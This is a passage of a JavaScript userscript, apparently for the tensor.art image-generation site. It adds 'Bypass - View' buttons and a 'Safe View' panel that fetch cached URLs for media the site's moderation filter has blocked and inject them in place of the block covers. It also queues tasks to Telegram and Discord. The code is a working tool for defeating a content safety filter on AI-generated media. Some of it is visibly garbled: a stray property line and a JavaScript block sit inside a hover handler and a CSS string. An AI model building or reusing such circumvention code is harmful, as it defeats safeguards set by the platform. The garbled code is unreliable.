          openImageModal(media.url, taskData?.taskId || taskId, taskData?.createdAt, taskData?.expireAt, [], media.item?.imageId || null, media.mimeType || 'image/*');
        };
        host.appendChild(img);
      }

      return true;
    };

    const ensureTaskSafeViewBypassButton = (slot, onClick) => {
      if (!slot || typeof onClick !== 'function') return;
      const blockedShell = findBlockedShell(slot) || slot;
      const inner = blockedShell.querySelector('div.p-12.flex.flex-col') || blockedShell;
      if (!inner) return;

      let btn = inner.querySelector('[data-bypass-safe-view-btn="true"]');
      if (!btn) {
        btn = document.createElement('button');
        btn.className = 'vi-button vi-button--size-small vi-button--type-secondary';
        btn.setAttribute('data-bypass-safe-view-btn', 'true');
        btn.type = 'button';
        btn.innerHTML = '<div class="vi-button__wrap">View - Bypass</div>';
        const appealBtn = inner.querySelector('button.vi-button.vi-button--size-small.vi-button--type-secondary');
        if (appealBtn && appealBtn.parentElement) {
          appealBtn.parentElement.insertBefore(btn, appealBtn.nextSibling);
        } else {
          inner.appendChild(btn);
        }
      }

      btn.onclick = async (e) => {
        e.preventDefault();
        e.stopPropagation();
        await onClick();
      };
      attachInjectedHelpTooltip(btn, 'Reveal bypassed media from cached task URL.');
    };

    const removeTaskSafeViewBypassButton = (slot) => {
      if (!slot) return;
      slot.querySelectorAll('[data-bypass-safe-view-btn="true"]').forEach(btn => btn.remove());
    };

    const injectItemIntoSlot = async (slot, item, taskData, taskId, options = {}) => {
      const { deferVideo = true } = options;
      hideActiveBlockedTooltip();
      removeBlockedOverlayFromSlot(slot);
      removeBlockedMediaArtifacts(slot);
      if (slot.dataset.bypassInjected === item.imageId) {
        addTelegramSection(slot, item.imageId, taskData.taskId || taskId, taskData.createdAt);
        addStatusOverlay(slot, item.imageId);
        return true;
      }
      slot.dataset.bypassInjecting = 'true';

      const mimeType = item.mimeType || '';
      const cachedUrl = (!isBlockedPlaceholderUrl(item?.url) && item?.url)
        ? item.url
        : getCachedDownloadUrl(item.imageId, mimeType);

      const thumbnailContainer = slot.querySelector('.thumbnail-image') || slot.querySelector('div.relative') || slot.querySelector('.rd-8') || slot;

      if (mimeType.startsWith('video/')) {
        const blockedShell = slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border');
        if (blockedShell) blockedShell.remove();
        slot.querySelectorAll('video').forEach(v => v.remove());
        slot.querySelectorAll('img').forEach(img => img.remove());
        const video = document.createElement('video');
        video.controls = true;
        video.className = 'bypass-dom-video';
        video.style.width = '100%';
        video.style.height = '100%';
        video.style.objectFit = 'contain';
        video.style.display = 'block';
        video.preload = 'none';
        if (thumbnailContainer !== slot && slot.classList.contains('relative')) {
          video.style.position = 'absolute';
          video.style.inset = '0';
        }
        thumbnailContainer.appendChild(video);
        attachAutoRefreshOnMediaError(video, item.imageId, mimeType, { forceKind: 'video' });
        if (deferVideo) {
          const playOverlay = document.createElement('div');
          playOverlay.className = 'bypass-gallery-play';
          playOverlay.innerHTML = '<i class="fas fa-play"></i>';
          playOverlay.style.cursor = 'pointer';
          playOverlay.style.pointerEvents = 'auto';
          playOverlay.onclick = async () => {
            if (!video.src) {
              const downloadUrl = cachedUrl || await ensureDownloadUrl(item.imageId, mimeType);
              if (!downloadUrl) return;
              video.src = downloadUrl;
            }
            video.play().catch(() => {});
            playOverlay.remove();
          };
          thumbnailContainer.appendChild(playOverlay);
        } else {
          const downloadUrl = cachedUrl || await ensureDownloadUrl(item.imageId, mimeType);
          if (!downloadUrl) {
            delete slot.dataset.bypassInjecting;
            delete slot.dataset.bypassInjected;
            return false;
          }
          video.src = downloadUrl;
        }
      } else {
        const downloadUrl = cachedUrl || await ensureDownloadUrl(item.imageId, mimeType);
        if (!downloadUrl) {
          delete slot.dataset.bypassInjecting;
          delete slot.dataset.bypassInjected;
          return false;
        }
        let img = thumbnailContainer.querySelector('img');
        if (!img) {
          img = document.createElement('img');
          img.className = 'w-full h-full';
          img.style.objectFit = 'contain';
          img.style.objectPosition = 'center center';
          img.style.cursor = 'pointer';
          thumbnailContainer.appendChild(img);
        }
        img.src = downloadUrl;
        if (img.srcset) {
          img.srcset = `${downloadUrl} 1x`;
        }
        attachAutoRefreshOnMediaError(img, item.imageId, mimeType, { forceKind: 'image' });
        img.onclick = (e) => {
          e.stopPropagation();
          const current = img.currentSrc || img.src || downloadUrl;
          openImageModal(current, taskData.taskId || taskId, taskData.createdAt, taskData.expireAt, [], item.imageId, mimeType);
        };
      }

      slot.dataset.bypassInjected = item.imageId;
      delete slot.dataset.bypassInjecting;

      slot.setAttribute('data-bypass-task-id', taskData.taskId || taskId);
      slot.setAttribute('data-bypass-created-at', taskData.createdAt || '');
      slot.setAttribute('data-bypass-expire-at', taskData.expireAt || '');
      addTelegramSection(slot, item.imageId, taskData.taskId || taskId, taskData.createdAt);
      addStatusOverlay(slot, item.imageId);
      await addBypassedLinkRow(slot, item);
      attachBlockedTooltip(slot, buildBlockedTooltipContent(item, taskData), { previewItem: item });

      if (domInjectDebug) console.log('[InjectDOM] Injected', { taskId: taskData.taskId || taskId, imageId: item.imageId, mimeType });
      return true;
    };

    const addSafeViewButtonToSlot = (slot, item, taskData, taskId) => {
      if (!slot || !item?.imageId) return;
      const blockedShell = findBlockedShell(slot);
      if (!blockedShell) return;
      if (blockedShell.querySelector('[data-bypass-safe-view-btn]')) return;

      const inner = blockedShell.querySelector('div.p-12.flex.flex-col') || blockedShell;
      const btn = document.createElement('button');
      btn.className = 'vi-button vi-button--size-small vi-button--type-secondary';
      btn.setAttribute('data-bypass-safe-view-btn', 'true');
      btn.type = 'button';
      btn.innerHTML = '<div class="vi-button__wrap">Bypass - View</div>';
      btn.onclick = async (e) => {
        e.stopPropagation();
        hideActiveInjectedTooltip();
        hideActiveBlockedTooltip();
        const mediaCandidates = getTaskMediaItems(taskData);
        const queue = [item, ...mediaCandidates.filter(c => c?.imageId && c.imageId !== item?.imageId)];
        let injected = false;

        for (const candidate of queue) {
          if (!candidate?.imageId) continue;
          try {
            const resolvedUrl = candidate.url || await ensureDownloadUrl(candidate.imageId, candidate.mimeType || '');
            if (!resolvedUrl) continue;
            await injectItemIntoSlot(slot, { ...candidate, url: resolvedUrl }, taskData, taskId, { deferVideo: false });
            injected = true;
            break;
          } catch {
            // try next candidate
          }
        }

        if (!injected) {
          showToast('Unable to reveal this media yet. Try again after task data finishes loading.', 'warning');
        }
      };
      btn.addEventListener('mouseenter', hideActiveBlockedTooltip);
      inner.appendChild(btn);

      attachInjectedHelpTooltip(btn, 'Reveal this blocked media in place.');

      attachBlockedTooltip(blockedShell, buildBlockedTooltipContent(item, taskData), { previewItem: item });
    };

    const addTaskSafeViewPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
      if (isTemplateLikePage()) return;
      if (!settings.safeViewMode || !anchorEl) return;
      const key = taskData?.taskId || taskId || '';
      const existing = anchorEl.querySelector(`[data-bypass-task-safeview="${key}"]`);
      if (existing) return;

      const invalidItems = getBlockedTaskItems(taskData);
      if (invalidItems.length < 1) return;

      const panel = document.createElement('div');
      panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
      panel.setAttribute('data-bypass-task-safeview', key);

      const header = document.createElement('div');
      header.className = 'flex-c-sb';
      header.innerHTML = `
        <h3 class="text-16 c-text-primary fw-600"><i class="fas fa-eye" style="margin-right: 6px;"></i> Safe View</h3>
        <div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Reveal all blocked media in this task</span></div>
      `;

      const buttonRow = document.createElement('div');
      buttonRow.className = 'flex-c gap-8';
      const viewAllBtn = document.createElement('button');
      viewAllBtn.type = 'button';
      viewAllBtn.className = getTensorButtonClass('default');
      viewAllBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-unlock" style="margin-right: 6px;"></i> Bypass - View All</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;
      viewAllBtn.onclick = async () => {
        const panelRoot = anchorEl.closest('div.bg-bg-primary') || anchorEl;
        const spaceContainer = findAssociatedMediaContainer(insertBeforeEl || anchorEl, panelRoot)
          || panelRoot.querySelector('div.space-y-12')
          || panelRoot.querySelector('div.mt-12.flex.flex-wrap.gap-12')
          || panelRoot;
        const mediaSlots = getMediaSlots(spaceContainer);
        const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
        for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
          await injectItemIntoSlot(blockedSlots[i], invalidItems[i], taskData, taskId, { deferVideo: false });
        }
      };
      buttonRow.appendChild(viewAllBtn);
      panel.appendChild(header);
      panel.appendChild(buttonRow);

      attachInjectedHelpTooltip(viewAllBtn, 'Reveal all blocked media for this task.');

      if (insertBeforeEl && insertBeforeEl.parentElement) {
        insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
      } else {
        anchorEl.appendChild(panel);
      }
    };

    const addGlobalBypassAllButton = (root) => {
      if (!settings.safeViewMode || !root) return;
      const headerRow = root.querySelector('div.hidden.lg\\:flex.lg\\:flex-c.justify-between.w-full.py-8');
      if (!headerRow) return;
      if (headerRow.querySelector('[data-bypass-global-safeview]')) return;

      const btn = document.createElement('button');
      btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
      btn.setAttribute('data-bypass-global-safeview', 'true');
      btn.textContent = 'Bypass All current tasks';
      btn.onclick = async () => {
        await injectBlockedMediaIntoDom({ forceBypass: true });
      };
      headerRow.appendChild(btn);

      attachInjectedHelpTooltip(btn, 'Reveal all blocked media across current tasks.');
    };

    const addTaskProfilesDisplay = (root) => {
      if (!root) return;
      if (root.querySelector('[data-bypass-profiles-display]')) return;

      const taskProfiles = getTaskProfiles();
      const profileNames = Object.keys(taskProfiles);

      if (profileNames.length === 0) return;

      const section = document.createElement('div');
      section.setAttribute('data-bypass-profiles-display', 'true');
      section.style.cssText = `
        margin-top: 24px;
        padding: 16px;
        background: rgba(99, 102, 241, 0.05);
        border: 1px solid rgba(99, 102, 241, 0.2);
        border-radius: 8px;
      `;

      const title = document.createElement('div');
      title.style.cssText = 'font-weight: 600; font-size: 14px; color: #f1f5f9; margin-bottom: 12px;';
      title.innerHTML = '<i class="fas fa-layer-group"></i> Task Profiles';
      section.appendChild(title);

      const profilesGrid = document.createElement('div');
      profilesGrid.style.cssText = 'display: grid; grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); gap: 12px;';

      profileNames.forEach(profileName => {
        const profile = taskProfiles[profileName];
        const tasks = profile.tasks || [];
        const taskCount = tasks.length;

        if (taskCount === 0) return; // Skip empty profiles

        // Find a random task with bypassed URL to use as preview
        let previewUrl = null;
        let previewItem = null;

        for (const taskEntry of tasks) {
          const taskItems = taskEntry.taskData?.items || [];
          for (const item of taskItems) {
            if (item?.imageId) {
              previewItem = item;
              break;
            }
          }
          if (previewItem) break;
        }

        const card = document.createElement('div');
        card.style.cssText = `
          padding: 12px;
          background: rgba(30, 41, 59, 0.8);
          border: 1px solid rgba(99, 102, 241, 0.3);
          border-radius: 8px;
          cursor: pointer;
          transition: all 0.2s;
          display: flex;
          flex-direction: column;
          gap: 8px;
          overflow: hidden;
        `;

        card.addEventListener('mouseenter', () => {
          card.style.borderColor = '#6366f1';
          card.style.background = 'rgba(99, 102, 241, 0.15)';
          card.style.transform = 'translateY(-2px)';
        });

        card.addEventListener('mouseleave', () => {
          card.style.borderColor = 'rgba(99, 102, 241, 0.3)';
                right: '',
          card.style.transform = 'none';
        });

        // Preview thumbnail
        if (previewItem && previewItem.imageId) {
          const preview = document.createElement('div');
          preview.style.cssText = `
            width: 100%;
            height: 100px;
            background: #0f1729;
            border-radius: 6px;
            display: flex;
            align-items: center;
            justify-content: center;
            overflow: hidden;
            // Always persist final position on drag end (so switching tabs doesn't "jump back")
            settings.position = {
              ...settings.position,
              top: el.style.top,
              left: el.style.left,
              right: '',
              width: el.style.width,
              height: el.style.height
            };
            saveSettings();
            border: 1px solid rgba(148, 163, 184, 0.2);
          `;

          // Try to load preview
          (async () => {
            try {
              const url = await withTimeout(getPreviewUrlForItem({
                id: previewItem.imageId,
                url: previewItem.url,
                mimeType: previewItem.mimeType,
                type: getItemType(previewItem.mimeType)
              }), 5000).catch(() => null);

              if (url && preview.parentElement) {
                const img = document.createElement('img');
                img.src = url;
                img.style.cssText = 'width: 100%; height: 100%; object-fit: cover;';
                preview.innerHTML = '';
                preview.appendChild(img);
              }
            } catch (err) {
              // Fallback icon
              preview.innerHTML = '<i class="fas fa-image" style="font-size: 32px; color: #475569; opacity: 0.5;"></i>';
            }
          })();

          card.appendChild(preview);
        } else {
          const placeholder = document.createElement('div');
          placeholder.style.cssText = `
            width: 100%;
            height: 100px;
            background: #0f1729;
            border-radius: 6px;
            display: flex;
            align-items: center;
            justify-content: center;
            border: 1px dashed rgba(148, 163, 184, 0.2);
          `;
          placeholder.innerHTML = '<i class="fas fa-image" style="font-size: 32px; color: #475569; opacity: 0.5;"></i>';
          card.appendChild(placeholder);
        }

        // Profile name and task count
        const info = document.createElement('div');
        info.style.cssText = 'display: flex; justify-content: space-between; align-items: center; gap: 6px;';

        const name = document.createElement('div');
        name.style.cssText = 'font-weight: 600; font-size: 12px; color: #f1f5f9; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;';
        name.textContent = profileName;
        name.title = profileName;

        const count = document.createElement('span');
        count.style.cssText = 'background: rgba(99, 102, 241, 0.3); color: #cbd5e1; padding: 2px 6px; border-radius: 999px; font-size: 10px; white-space: nowrap;';
        count.textContent = taskCount;

        info.appendChild(name);
        info.appendChild(count);
        card.appendChild(info);

        // Open button
        const openBtn = document.createElement('button');
        openBtn.style.cssText = `
          width: 100%;
          padding: 6px;
          border: 1px solid rgba(99, 102, 241, 0.5);
          background: rgba(99, 102, 241, 0.1);
          color: #cbd5e1;
          border-radius: 6px;
          cursor: pointer;
          font-size: 11px;
          transition: all 0.2s;
        `;
        openBtn.innerHTML = '<i class="fas fa-arrow-right" style="margin-right: 4px;"></i> Open';
        openBtn.addEventListener('mouseover', () => {
          openBtn.style.background = 'rgba(99, 102, 241, 0.2)';
          openBtn.style.borderColor = '#6366f1';
        });
        openBtn.addEventListener('mouseout', () => {
          openBtn.style.background = 'rgba(99, 102, 241, 0.1)';
          openBtn.style.borderColor = 'rgba(99, 102, 241, 0.5)';
        });
        openBtn.onclick = (e) => {
          e.stopPropagation();
          showProfileFullscreenDialog(profileName);
        };
        card.appendChild(openBtn);

        card.onclick = () => {
          showProfileFullscreenDialog(profileName);
        };

        profilesGrid.appendChild(card);
      });

      if (profilesGrid.children.length > 0) {
        section.appendChild(profilesGrid);

        // Find a good place to insert (after progress section)
        const progressSection = root.querySelector('[data-bypass-progress-bar]');
        if (progressSection && progressSection.parentElement) {
          progressSection.parentElement.parentElement.insertBefore(section, progressSection.parentElement.nextSibling);
        } else {
          root.appendChild(section);
        }
      }
    };

    const addGlobalTaskActionsBar = (root) => {
      if (!root) return;
      const headerRow = root.querySelector('div.hidden.lg\\:flex.lg\\:flex-c.justify-between.w-full.py-8');
      if (!headerRow) return;
      if (headerRow.parentElement?.querySelector('[data-bypass-global-actions]')) return;

      const wrap = document.createElement('div');
      wrap.className = 'hidden lg:flex lg:flex-c justify-between w-full py-8';
      wrap.setAttribute('data-bypass-global-actions', 'true');

      const left = document.createElement('div');
      left.className = 'flex-c gap-12';
      const right = document.createElement('div');
      right.className = 'flex-c gap-8';

      const preventWrap = document.createElement('label');
      preventWrap.style.cssText = 'display:flex; align-items:center; gap:8px; font-size:12px; color: #cbd5e1;';
      const preventInput = document.createElement('input');
      preventInput.type = 'checkbox';
      preventInput.checked = settings.preventDuplicateTasks;
      preventInput.style.cssText = 'width:14px; height:14px; cursor:pointer;';
      preventInput.onchange = () => {
        settings.preventDuplicateTasks = preventInput.checked;
        saveSettings();
      };
      preventWrap.appendChild(preventInput);
      preventWrap.appendChild(document.createTextNode('Prevent duplicates'));
      attachInjectedHelpTooltip(preventWrap, 'Skip items already processed when running global actions.');

      const createActionBtn = (label, action, enabled, helpText) => {
        if (!enabled) return null;
        const btn = document.createElement('button');
        btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
        btn.textContent = label;
        btn.onclick = async () => {
          const items = itemsData.filter(item => item?.id);
          if (!items.length) return;
          const allowDuplicate = !settings.preventDuplicateTasks;
          for (const item of items) {
            const meta = getItemMetaFromId(item.id);
            enqueueTaskAction(action, item.id, meta, allowDuplicate);
          }
          processTaskActionQueue();
          updateGlobalActionProgressFromQueue();
        };
        if (helpText) {
          attachInjectedHelpTooltip(btn, helpText);
        }
        return btn;
      };

      const telegramBtn = createActionBtn(
        'Send All current tasks to Telegram',
        'telegram',
        settings.telegramEnabled && settings.sendAllTasksTelegram,
        'Queue all current tasks to send to Telegram.'
      );
      const discordBtn = createActionBtn(
        'Send All current tasks to Discord',
        'discord',
        settings.discordEnabled && settings.sendAllTasksDiscord,
        'Queue all current tasks to send to Discord.'
      );
      const downloadBtn = createActionBtn(
        'Download All current tasks',
        'download',
        settings.sendAllTasksDownload,
        'Queue all current tasks for download.'
      );

      if (telegramBtn) right.appendChild(telegramBtn);
      if (discordBtn) right.appendChild(discordBtn);
      if (downloadBtn) right.appendChild(downloadBtn);
      addCopyMenuButton(right);
      right.appendChild(preventWrap);

      const progress = document.createElement('div');
      progress.className = 'bypass-global-progress';
      progress.style.cssText = 'width: 100%; margin-top: 8px; margin-bottom: 8px; display: none;';
      progress.innerHTML = `
        <div style="font-size: 11px; color: #94a3b8; margin-bottom: 6px;" data-bypass-progress-text>Idle</div>
        <div style="height: 6px; background: rgba(148,163,184,0.25); border-radius: 999px; overflow: hidden;">
          <div data-bypass-progress-bar style="height: 100%; width: 0%; background: linear-gradient(135deg, #6366f1, #8b5cf6);"></div>
        </div>
        <div data-bypass-progress-preview style="display:none;"></div>
      `;

      wrap.appendChild(left);
      wrap.appendChild(right);
      headerRow.parentElement.insertBefore(wrap, headerRow.nextSibling);
      headerRow.parentElement.insertBefore(progress, wrap.nextSibling);
      updateGlobalActionProgressFromQueue();

      // Add profiles display section below actions
      addTaskProfilesDisplay(headerRow.parentElement);
    };

    const addTemplateTabActions = () => {
      if (!/^https:\/\/tensor\.art\/template\/[A-Za-z0-9_-]+\/?$/.test(window.location.href)) return;
      const tabsWrapper = document.querySelector('div.n-tabs-wrapper');
      if (!tabsWrapper) return;
      if (!tabsWrapper.querySelector('div.n-tabs-tab--active[data-name="result"]')) return;
      if (tabsWrapper.querySelector('[data-bypass-template-actions]')) return;

      const actionsWrap = document.createElement('div');
      actionsWrap.className = 'n-tabs-tab-wrapper';
      actionsWrap.setAttribute('data-bypass-template-actions', 'true');

      const actionsRow = document.createElement('div');
      actionsRow.style.cssText = 'display:flex; gap:8px; align-items:center; flex-wrap: wrap;';

      const makeIconBtn = (icon, title, onClick) => {
        const btn = document.createElement('button');
        btn.className = 'text-14 b-1-stroke-secondary rd-8 fw-600 px-8 py-4 cursor-pointer';
        btn.style.cssText = 'display:flex; align-items:center; justify-content:center; width:40px; height:40px;';
        btn.title = title;
        btn.innerHTML = `<i class="${icon}"></i>`;
        btn.onclick = onClick;
        attachInjectedHelpTooltip(btn, title);
        return btn;
      };

      if (settings.telegramEnabled && settings.sendAllTasksTelegram) {
        actionsRow.appendChild(makeIconBtn('fab fa-telegram', 'Send All current tasks to Telegram', () => {
          const items = itemsData.filter(item => item?.id);
          const allowDuplicate = !settings.preventDuplicateTasks;
          items.forEach(item => enqueueTaskAction('telegram', item.id, getItemMetaFromId(item.id), allowDuplicate));
          processTaskActionQueue();
          updateGlobalActionProgressFromQueue();
        }));
      }

      if (settings.discordEnabled && settings.sendAllTasksDiscord) {
        actionsRow.appendChild(makeIconBtn('fab fa-discord', 'Send All current tasks to Discord', () => {
          const items = itemsData.filter(item => item?.id);
          const allowDuplicate = !settings.preventDuplicateTasks;
          items.forEach(item => enqueueTaskAction('discord', item.id, getItemMetaFromId(item.id), allowDuplicate));
          processTaskActionQueue();
          updateGlobalActionProgressFromQueue();
        }));
      }

      if (settings.sendAllTasksDownload) {
        actionsRow.appendChild(makeIconBtn('fas fa-download', 'Download All current tasks', () => {
          const items = itemsData.filter(item => item?.id);
          const allowDuplicate = !settings.preventDuplicateTasks;
          items.forEach(item => enqueueTaskAction('download', item.id, getItemMetaFromId(item.id), allowDuplicate));
          processTaskActionQueue();
          updateGlobalActionProgressFromQueue();
        }));
      }

      addCopyMenuButton(actionsRow);

      const dupBtn = document.createElement('label');
      dupBtn.style.cssText = 'display:flex; align-items:center; gap:8px; font-size:12px; color:#cbd5e1;';
      const dupInput = document.createElement('input');
      dupInput.type = 'checkbox';
      dupInput.checked = settings.preventDuplicateTasks;
      dupInput.style.cssText = 'width:14px; height:14px; cursor:pointer;';
      dupInput.onchange = () => {
        settings.preventDuplicateTasks = dupInput.checked;
        saveSettings();
      };
      dupBtn.appendChild(dupInput);
      dupBtn.appendChild(document.createTextNode('Prevent duplicates'));
      attachInjectedHelpTooltip(dupBtn, 'Skip items already processed when running global actions.');
      actionsRow.appendChild(dupBtn);

      actionsWrap.appendChild(actionsRow);
      const wrappers = Array.from(tabsWrapper.querySelectorAll('div.n-tabs-tab-wrapper'));
      const resultTab = wrappers.find(wrap => wrap.querySelector('div[data-name="result"]')) || tabsWrapper.lastElementChild;
      if (resultTab && resultTab.parentElement) {
        resultTab.parentElement.insertBefore(actionsWrap, resultTab);
      } else {
        tabsWrapper.appendChild(actionsWrap);
      }
    };

    for (const root of roots) {
      addGlobalBypassAllButton(root);
      addGlobalTaskActionsBar(root);
      addTemplateTabActions();
      // Process type 1: space-y-4.px-12.py-8.rd-8.bg-fill-default
      const detailsBlocks = root.querySelectorAll('div.space-y-4.px-12.py-8.rd-8.bg-fill-default');
      for (const detailsBlock of detailsBlocks) {
        if (!isLikelyDetailsBlock(detailsBlock)) continue;
        scanStats.type1Cards += 1;
        const rawCandidates = extractTaskIdCandidatesFromDetails(detailsBlock);
        const candidates = rawCandidates.flatMap(candidate => buildTaskLookupVariants(candidate));
        const taskId = candidates.find(candidate => !!resolveTaskData(candidate)) || candidates[0] || null;
        if (!taskId) {
          scanStats.type1NoTaskId += 1;
          const sample = (detailsBlock.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 180);
          console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no Task ID in details block`, {
            sampleText: sample,
            className: detailsBlock.className || '',
            candidates
          });
          continue;
        }

        let taskData = resolveTaskData(taskId);
        if (!taskData || !taskData.items?.length) {
          const cachedTask = findCachedTaskByAnyId(taskId, cachedTasks);
          if (cachedTask) {
            recordTaskData(cachedTask);
            taskData = resolveTaskData(taskId);
          }
        }
        if (!taskData || !taskData.items?.length) {
          scanStats.type1NoTaskData += 1;
          if (domInjectDebug) console.log('[InjectDOM][Type1] No task data', { taskId, candidates, hasTaskData: Boolean(taskData) });
          continue;
        }

        // Task-level Telegram panel under the details block
        addTaskTelegramPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
        addTaskDiscordPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
        addTaskDownloadPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
        addTaskProfilePanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
        addTaskSafeViewPanel(detailsBlock.parentElement || detailsBlock, taskData, taskId);
        addTensorQuickQueueButtons(detailsBlock.closest('div.bg-bg-primary') || detailsBlock.parentElement || detailsBlock, taskData, taskId);

        const panelRoot = detailsBlock?.closest('div.bg-bg-primary') || root;
        const { slot: taskSlot, host: taskHost } = findTaskPanelSlotAndHost(panelRoot);
        if (!taskSlot || !taskHost) {
          scanStats.type1NoSlotHost += 1;
          console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no blocked slot/host found`, { taskId });
          continue;
        }

        detailsBlock.setAttribute('data-bypass-task-id', taskId);
        if (detailsBlock.parentElement) {
          detailsBlock.parentElement.setAttribute('data-bypass-task-id', taskId);
        }
        taskSlot.setAttribute('data-bypass-task-id', taskId);

        const hasBlockedUi = isBlockedSlot(taskSlot, true);
        const alreadyInjectedForTask = taskSlot.dataset.bypassInjectedTaskId === taskId;
        if (!hasBlockedUi) {
          removeTaskSafeViewBypassButton(taskSlot);
          // Safe View button should never appear when there is no inappropriate cover.
          if (safeViewEnabled) {
            scanStats.type1NoBlockedUi += 1;
            console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no blocked UI (safe view hidden)`, { taskId });
            panelRoot.dataset.bypassTaskLoopTaskId = taskId;
            panelRoot.dataset.bypassTaskLoopMode = 'safe';
            continue;
          }
          // Inject On Blocked Only mode: skip clean tasks entirely.
          if (settings.injectBlockedOnly) {
            scanStats.type1NoBlockedUi += 1;
            console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: no blocked UI (Inject On Blocked Only enabled)`, { taskId });
            panelRoot.dataset.bypassTaskLoopTaskId = taskId;
            panelRoot.dataset.bypassTaskLoopMode = 'inject-blocked-only';
            continue;
          }
        }
        if (!hasBlockedUi && alreadyInjectedForTask) {
          scanStats.type1NoBlockedUi += 1;
          console.log(`[InjectDOM][Scan#${scanId}][Type1] Skip: already injected and no blocked UI`, { taskId });
          panelRoot.dataset.bypassTaskLoopTaskId = taskId;
          panelRoot.dataset.bypassTaskLoopMode = safeViewEnabled ? 'safe' : 'inject';
          continue;
        }

        const bypassMedia = await pickTaskBypassCandidate(taskData);
        if (!bypassMedia) {
          scanStats.type1MissingBypassUrl += 1;
          ensureTaskMissingBypassMarker(taskSlot, `No bypassed media URL found in cache for task ${taskId}.`);
          if (domInjectDebug) console.log('[InjectDOM][Type1] Missing bypass URL', { taskId });
          continue;
        }

        clearTaskMissingBypassMarker(taskSlot);
        const doDirectInject = async () => {
          const done = injectBypassMediaIntoHost(taskHost, bypassMedia, taskData, taskId);
          if (done) {
            scanStats.type1Injected += 1;
            console.log(`[InjectDOM][Scan#${scanId}][Type1] Injected`, {
              taskId,
              imageId: bypassMedia.item?.imageId || null,
              mimeType: bypassMedia.mimeType || null,
              mode: 'inject'
            });
            taskSlot.dataset.bypassInjectedTaskId = taskId;
            taskSlot.dataset.bypassInjected = bypassMedia.item?.imageId || 'true';
            panelRoot.dataset.bypassTaskLoopTaskId = taskId;
            panelRoot.dataset.bypassTaskLoopMode = 'inject';
          }
        };

        if (safeViewEnabled) {
          ensureTaskSafeViewBypassButton(taskSlot, doDirectInject);
          scanStats.type1SafeButtonsAdded += 1;
          console.log(`[InjectDOM][Scan#${scanId}][Type1] Safe button ready`, { taskId });
          panelRoot.dataset.bypassTaskLoopTaskId = taskId;
          panelRoot.dataset.bypassTaskLoopMode = 'safe';
        } else {
          await doDirectInject();
        }
      }

      // Process type 2: bg-bg-primary.rd-12.overflow-hidden.p-12
      const primaryPanels = root.querySelectorAll('div.bg-bg-primary.rd-12.overflow-hidden.p-12');
      for (const panel of primaryPanels) {
        scanStats.type2Panels += 1;
        if (panel.dataset.bypassTaskLoopTaskId) {
          scanStats.type2SkippedAlreadyHandled += 1;
          continue;
        }
        const detailsInPanel = panel.querySelector('div.space-y-4.px-12.py-8.rd-8.bg-fill-default');
        if (!detailsInPanel) continue;
        if (!isLikelyDetailsBlock(detailsInPanel)) continue;

        const rawCandidates = extractTaskIdCandidatesFromDetails(detailsInPanel);
        const candidates = rawCandidates.flatMap(candidate => buildTaskLookupVariants(candidate));
        const taskId = candidates.find(candidate => !!resolveTaskData(candidate)) || candidates[0] || null;
        if (!taskId) continue;

        let taskData = resolveTaskData(taskId);
        if (!taskData || !taskData.items?.length) {
          const cachedTask = findCachedTaskByAnyId(taskId, cachedTasks);
          if (cachedTask) {
            recordTaskData(cachedTask);
            taskData = resolveTaskData(taskId);
          }
        }
        if (!taskData || !taskData.items?.length) {
          scanStats.type2NoTaskData += 1;
          if (domInjectDebug) console.log('[InjectDOM][Type2] No task data', { taskId, candidates, hasTaskData: Boolean(taskData) });
          continue;
        }

        // Task-level Telegram panel under the details block
        addTaskTelegramPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
        addTaskDiscordPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
        addTaskDownloadPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
        addTaskProfilePanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
        addTaskSafeViewPanel(detailsInPanel.parentElement || detailsInPanel, taskData, taskId);
        addTensorQuickQueueButtons(panel, taskData, taskId);

        const spaceContainer = panel.querySelector('div.space-y-12');
        if (!spaceContainer) {
          scanStats.type2NoContainerOrSlots += 1;
          continue;
        }

        const mediaSlots = Array.from(spaceContainer.querySelectorAll('div.relative.group.h-auto.min-h-0.w-full'));
        if (!mediaSlots.length) {
          scanStats.type2NoContainerOrSlots += 1;
          continue;
        }

        const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot));
        const pendingSlots = blockedSlots.filter(slot => !slot.dataset.bypassInjected);
        if (panel.dataset.bypassProcessed === 'true' && !pendingSlots.length) continue;

        const invalidItems = getBlockedTaskItems(taskData);
        if (domInjectDebug) console.log('[InjectDOM][Type2] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length, pendingSlots: pendingSlots.length });
        if (!invalidItems.length || !blockedSlots.length) {
          scanStats.type2NoInvalidOrBlocked += 1;
          continue;
        }

        for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
          const slot = blockedSlots[i];
          const item = invalidItems[i];
          if (safeViewEnabled) {
            addSafeViewButtonToSlot(slot, item, taskData, taskId);
            scanStats.type2SafeButtonsAdded += 1;
          } else {
            await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
